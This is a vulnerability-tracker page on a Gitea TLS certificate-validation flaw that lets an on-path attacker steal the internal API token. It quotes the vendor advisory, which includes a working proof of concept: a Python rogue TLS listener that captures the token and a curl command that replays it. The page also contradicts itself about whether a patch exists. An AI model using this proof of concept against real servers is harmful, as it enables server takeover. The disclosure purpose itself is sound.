Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessGain on-path position on internal segment
-
DeliveryPresent rogue TLS certificate to gitea serv/hook
-
ExploitCertificate accepted, MITM established
-
ExecutionCapture static INTERNAL_TOKEN from bearer header
-
PersistReplay token against /api/internal/* endpoints
-
ImpactExecute git commands or shut down server
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A07:2025 - Authentication Failures
ASVS 5.0
V12 - Secure Communication Certificate validation
|
| Exploitation Conditions | Requires all of: (1) the operator sets LOCAL_ROOT_URL to an HTTPS scheme pointing at a non-loopback host (split-host / multi-pod / separate SSH-or-hook host) - the default single-host, unix-socket, or HTTP-loopback configuration is not exploitable; (2) the attacker holds an on-path/adjacent position on that internal segment able to intercept the connection (ARP spoofing, malicious sidecar/pod, or DNS/route manipulation); and (3) a subprocess internal call is triggered (an SSH git operation invoking 'gitea serv', or a git hook invoking 'gitea hook'). No Gitea account or authentication is needed (PR:N), but the non-default HTTPS-to-remote topology plus the on-path requirement (AV:A, AC:H) are the primary limiting factors that keep this from being broadly exploitable. |
| Impact | The provided CVSS 3.1 vector (AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H, base 7.5 High) accurately reflects a deployment-dependent flaw: exploitation requires an adjacent/on-path position (AV:A) and the non-default combination of HTTPS internal comms to a non-loopback target plus interception capability (AC:H), which is why real-world risk is far narrower than a raw 7.5 suggests. No EPSS score, KEV listing, or SSVC data was supplied; there is no indication of active exploitation. A working PoC is embedded in the GHSA advisory, so exploit knowledge is public, but the pre-conditions (split-host/multi-pod HTTPS topology plus attacker on the internal segment) make this targeted rather than mass-exploitable. For the default single-host, unix-socket, or HTTP-loopback deployment the call is loopback and not interceptable without local access - and local access already exposes INTERNAL_TOKEN from app.ini, making MITM unnecessary - so that configuration is Low/Informational. Bottom line: real priority only for operators running split-host HTTPS internal communication; a defense-in-depth defect for everyone else. |
| Exploit ScenarioDerived | In a split-host deployment where Gitea's SSH/hook host reaches the main server via LOCAL_ROOT_URL=https://<remote>/, an attacker who gains on-path position on the internal segment (ARP spoofing, a malicious sidecar/pod, or DNS/route manipulation) presents a self-signed certificate. When a user performs an SSH git operation, the 'gitea serv' subprocess trusts the rogue certificate and transmits the static INTERNAL_TOKEN, which the attacker captures and replays against /api/internal/* to shut down the server, authorize SSH keys, or execute git commands. A complete, working PoC (rogue TLS listener capturing the bearer header, then curl replay) is published in the vendor advisory. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jul 21, 2026
Improper TLS certificate validation in Gitea versions prior to 1.27.0 lets an on-path attacker intercept the internal API channel and steal the static, high-privilege INTERNAL_TOKEN. The internal API HTTP client (modules/private/internal.go) hardcodes InsecureSkipVerify:true with no config override, so gitea serv / gitea hook subprocesses accept any certificate when LOCAL_ROOT_URL uses HTTPS to a non-loopback host. A detailed proof-of-concept is published in the vendor advisory, but there is no evidence of active exploitation; the token grants full control over every /api/internal/* endpoint, including server shutdown, SSH key authorization, and arbitrary git command execution.
RemediationAI
Vendor-released patch: 1.27.0 - upgrade Gitea to 1.27.0 or later (see https://github.com/go-gitea/gitea/releases/tag/v1.27.0 and advisory https://github.com/go-gitea/gitea/security/advisories/GHSA-94v3-77j7-vm48). If immediate patching is not possible, eliminate the exposed path by setting LOCAL_ROOT_URL to a loopback/unix-socket target (e.g. http+unix or http://127.0.0.1) so the internal API call never traverses the network, accepting that this collapses split-host topologies onto a single host. Alternatively, keep the internal segment off any shared/attacker-reachable network (dedicated link, mutual authentication at the network layer, or IPsec/mTLS-terminating proxy in front of the internal endpoint) and rotate INTERNAL_TOKEN afterward in case it was already captured; note these controls add operational complexity and do not fix the underlying validation defect. Because internal routes are mounted on the main public listener, also restrict access to /api/internal/* at a reverse proxy to blunt replay of any stolen token.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 3 packages in go, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The affected component is Gitea's outbound internal-API transport (pkg:go/code.gitea.io/gitea). Gitea splits privileged operations across separate processes: SSH access and git hooks exec 'gitea serv'/'gitea hook', which call back to the main server over the internal API at LOCAL_ROOT_URL, authenticating with a single static bearer token (X-Gitea-Internal-Auth). This is CWE-295 (Improper Certificate Validation): the transport sets tls.Config.InsecureSkipVerify=true unconditionally, so ServerName is used for SNI only and no peer certificate is ever validated. Every other outbound TLS client in the codebase (webhook, migrations, MinIO, LDAP, SMTP, Redis, incoming-mail) is secure-by-default with an explicit SkipVerify toggle; this client alone has no opt-out and has shipped this way since 2017 (#1471), so all pre-1.27.0 releases are affected.
Know when Gitea gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Adjacent on-path position needed (AV:A) plus non-default HTTPS-to-remote topology and interception timing (AC:H); no Gitea privileges required (PR:N); stolen token yields full internal-API C/I/A impact.
Primary rating from Vendor (https://github.com/go-gitea/gitea).
CVSS VectorVendor: https://github.com/go-gitea/gitea
DescriptionCVE.org
Summary
Gitea's internal API HTTP client (modules/private/internal.go) hardcodes TLSClientConfig.InsecureSkipVerify = true with no configuration override. It is the only outbound TLS client in the codebase that cannot be made to verify its peer's certificate - webhook, migrations, MinIO, LDAP, SMTP, Redis and incoming-mail all expose a secure-by-default SkipVerify toggle, this one does not.
When an operator configures internal communication over HTTPS to a non-loopback target (LOCAL_ROOT_URL=https://<host>/ in a split-host / multi-pod topology), the gitea serv / gitea hook subprocess that calls the internal API will accept ANY TLS certificate. An attacker with on-path position on that internal segment can MITM the connection and capture the static high-privilege INTERNAL_TOKEN, which is the sole authentication for every /api/internal/* endpoint (server shutdown/restart, SSH key authorization, git command execution, repo hooks, mail send, runner-token generation).
Severity is deployment-dependent: High for split-host HTTPS deployments; Low/Informational for the default single-host / unix-socket / HTTP-loopback deployment, where the call is loopback and not interceptable without local access (which already exposes the token directly). This report is rated for the affected configuration and the underlying defense-in-depth defect. Details
Affected component: modules/private/internal.go
The internal API transport hardcodes certificate-verification bypass:
var internalAPITransport = sync.OnceValue(func() http.RoundTripper { return &http.Transport{ DialContext: dialContextInternalAPI, TLSClientConfig: &tls.Config{ InsecureSkipVerify: true, // hardcoded, no config gate ServerName: setting.Domain, // SNI only; NOT used for validation while skip=true }, } })
Because InsecureSkipVerify is true, ServerName is used only for SNI and any certificate (any CN, self-signed) is accepted; there is no accidental safety net.
Verified exploit chain (read against main @ aab9737651, 2026-06-13):
- TLS path is reached whenever LOCAL_ROOT_URL scheme is https - http.Transport applies
TLSClientConfig only for https requests. (modules/private/internal.go:56-64)
- The dialer connects to the real host from the URL, with no loopback pinning:
dialContextInternalAPI -> d.DialContext(ctx, network, address), where address is the host:port from LOCAL_ROOT_URL. (modules/private/internal.go:37-54)
- The client runs as a SEPARATE process, so a real socket is used and can cross hosts:
- Built-in and external SSH both exec "gitea serv key-N" (modules/ssh/ssh.go:109,123;
models/asymkey/ssh_key_authorized_keys.go via authorized_keys command=).
- Git hooks exec "gitea hook ...".
These subprocesses call back to LOCAL_ROOT_URL. Same host => loopback; split host => network hop.
- INTERNAL_TOKEN is sent on every internal request as a static bearer header:
Header("X-Gitea-Internal-Auth", "Bearer "+setting.InternalToken) (modules/private/internal.go:80)
- A captured token is accepted and is the SOLE gate for all internal routes:
authInternal() does subtle.ConstantTimeCompare(header, setting.InternalToken) and nothing else. (routers/private/internal.go:24-42). The server code even comments: "// TODO: use something like JWT or HMAC to avoid passing the token in the clear" (routers/private/internal.go:32)
- Amplifier: internal routes are mounted on the main public listener, not a loopback-only socket:
r.Mount("/api/internal", private.Routes()) (routers/init.go:185) so a stolen token is replayable by anyone who can reach the Gitea HTTP port.
Inconsistency / root cause: every other outbound TLS client is configurable and secure-by-default (services/webhook/deliver.go Webhook.SkipTLSVerify; services/migrations/http_client.go Migrations.SkipTLSVerify; modules/storage/minio.go MINIO_INSECURE_SKIP_VERIFY; LDAP/SMTP SkipVerify; incoming-mail SkipTLSVerify). The internal API client alone is hardcoded insecure with no opt-out. The InsecureSkipVerify line has been present since 2017 (#1471), so all releases are affected. PoC
Goal: capture the live INTERNAL_TOKEN from a real Gitea subprocess call and replay it.
Note: a self-contained TLS test (e.g. Python ssl.CERT_NONE accepting a self-signed cert) only restates the flag's definition and does NOT involve Gitea. The steps below exercise the real path.
- Configure Gitea so the internal client uses HTTPS to an interceptable target:
[server] PROTOCOL = https LOCAL_ROOT_URL = https://127.0.0.1:8443/
- Run a rogue TLS listener on 127.0.0.1:8443 presenting ANY self-signed certificate, logging the
X-Gitea-Internal-Auth request header. Minimal handler:
python3 rogue.py
import http.server, ssl, subprocess subprocess.run(["openssl","req","-x509","-newkey","rsa:2048","-keyout","k.pem","-out","c.pem", "-days","1","-nodes","-subj","/CN=127.0.0.1"], check=True) class H(http.server.BaseHTTPRequestHandler): def handle_one(self): pass def do_GET(self): self._h() def do_POST(self): self._h() def _h(self): a = self.headers.get("X-Gitea-Internal-Auth","") if "Bearer" in a: print("[!] CAPTURED TOKEN:", a.replace("Bearer ","")) self.send_response(200); self.end_headers(); self.wfile.write(b'{"err":"","user_msg":""}') def log_message(self,*a): pass s = http.server.HTTPServer(("127.0.0.1",8443), H) ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER); ctx.load_cert_chain("c.pem","k.pem") s.socket = ctx.wrap_socket(s.socket, server_side=True) s.serve_forever()
- Trigger a real internal call through a subprocess path: perform an SSH git operation against the
instance (e.g. git clone ssh://git@<host>:<port>/owner/repo.git). sshd/built-in SSH execs gitea serv, which issues the internal API request to LOCAL_ROOT_URL and presents the token to the rogue listener.
- Observe at the listener:
[!] CAPTURED TOKEN: <INTERNAL_TOKEN>
- Confirm the token is privileged by replaying it directly against the Gitea HTTP port:
curl -k https://<gitea-host>:<port>/api/internal/manager/processes \ -H "X-Gitea-Internal-Auth: Bearer <INTERNAL_TOKEN>" A 200 with process data confirms full internal-API access (the same token also reaches /api/internal/manager/shutdown, /ssh/authorized_keys, /serv/command/..., etc.).
In a production split-host deployment, step 2 is replaced by on-path interception (ARP spoofing on the shared segment, a malicious sidecar/pod, or DNS/route manipulation) rather than a localhost listener; the client behaviour (trusting the rogue cert and sending the token) is identical. Impact
Type: CWE-295 Improper Certificate Validation -> man-in-the-middle -> theft of the static high-privilege INTERNAL_TOKEN -> full internal-API compromise.
Who is impacted: operators who run internal communication over HTTPS to a non-loopback target (split-host / multi-pod / separate SSH or hook host with LOCAL_ROOT_URL=https://<remote>/) on a network segment where an attacker can obtain on-path position. With the token, an attacker can: shut down / restart the server (DoS), authorize SSH keys, execute git serv commands, control pre/post/proc-receive hooks, change default branches, restore repos, send mail as Gitea, and generate Actions runner tokens.
NOT practically impacted: default single-host, unix-socket (http+unix), or HTTP-loopback deployments, where the internal call is loopback and not interceptable without local code execution (which already exposes INTERNAL_TOKEN from app.ini, making MITM unnecessary).
Executive ViewAI
Gitea instances using HTTPS with non-loopback configuration are vulnerable to credential theft attacks from network-positioned adversaries, and publicly available exploit code exists. An attacker who can intercept traffic can hijack the internal API token, granting complete administrative control over the Git server including user management, SSH authorization, and arbitrary command execution. Organizations running Gitea in production environments should evaluate their network topology and access controls immediately.
No vendor-released patch identified at time of analysis. Interim mitigations include: implement network segmentation to restrict access to internal API endpoints to authorized internal systems only; deploy Gitea behind a reverse proxy that enforces strict TLS certificate validation independent of application settings; reconfigure LOCAL_ROOT_URL to use loopback addresses if internal API calls do not require external network access; enable audit logging and intrusion detection monitoring for anomalous access patterns to internal API endpoints.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
Remote code execution in Gitea (self-hosted Git service) via a code-injection flaw (CWE-94) allows attackers to run arbi
Broken access control in Gitea's Composer package registry (versions up to and including 1.26.1) lets remote attackers r
Gitea before 1.16.7 does not escape git fetch remote. Rated high severity (CVSS 7.5), this vulnerability is remotely exp
The git hook feature in Gitea 1.1.0 through 1.12.5 might allow for authenticated remote code execution in customer envir
Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Gitea Gitea
Authenticated command injection in Dokploy (self-hostable PaaS) versions 0.29.3 through 0.29.12 lets a low-privileged us
Reverse-proxy authentication bypass in the official Gitea Docker image (versions up to and including 1.26.2) allows any
Path traversal in Gitea's Org-mode (`.org`) markup renderer allows an attacker who can get Org-mode content rendered by
Container escape in Gitea act_runner (Docker backend, through act 0.262.0) lets an authenticated user with workflow-exec
models/repo_mirror.go in Gitea before 1.7.6 and 1.8.x before 1.8-RC3 mishandles mirror repo URL settings, leading to rem
Server-side request forgery and internal repository exfiltration in Gitea before 1.27.0 lets a low-privileged authentica
Authorization bypass in Gitea versions 1.22.3 through 1.26.1 allows holders of `public-only` access tokens or OAuth gran
Same weakness CWE-295 – Improper Certificate Validation
View allVendor StatusVendor
SUSE
Severity: Important| Product | Status |
|---|---|
| SUSE Linux Enterprise Server 16.1 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Affected |
| openSUSE Leap 15.5 | Affected |
| openSUSE Leap 15.6 | Affected |
EUVD-2026-58137
GHSA-94v3-77j7-vm48
NVD
CVE.org
EPSS
Exploit-DB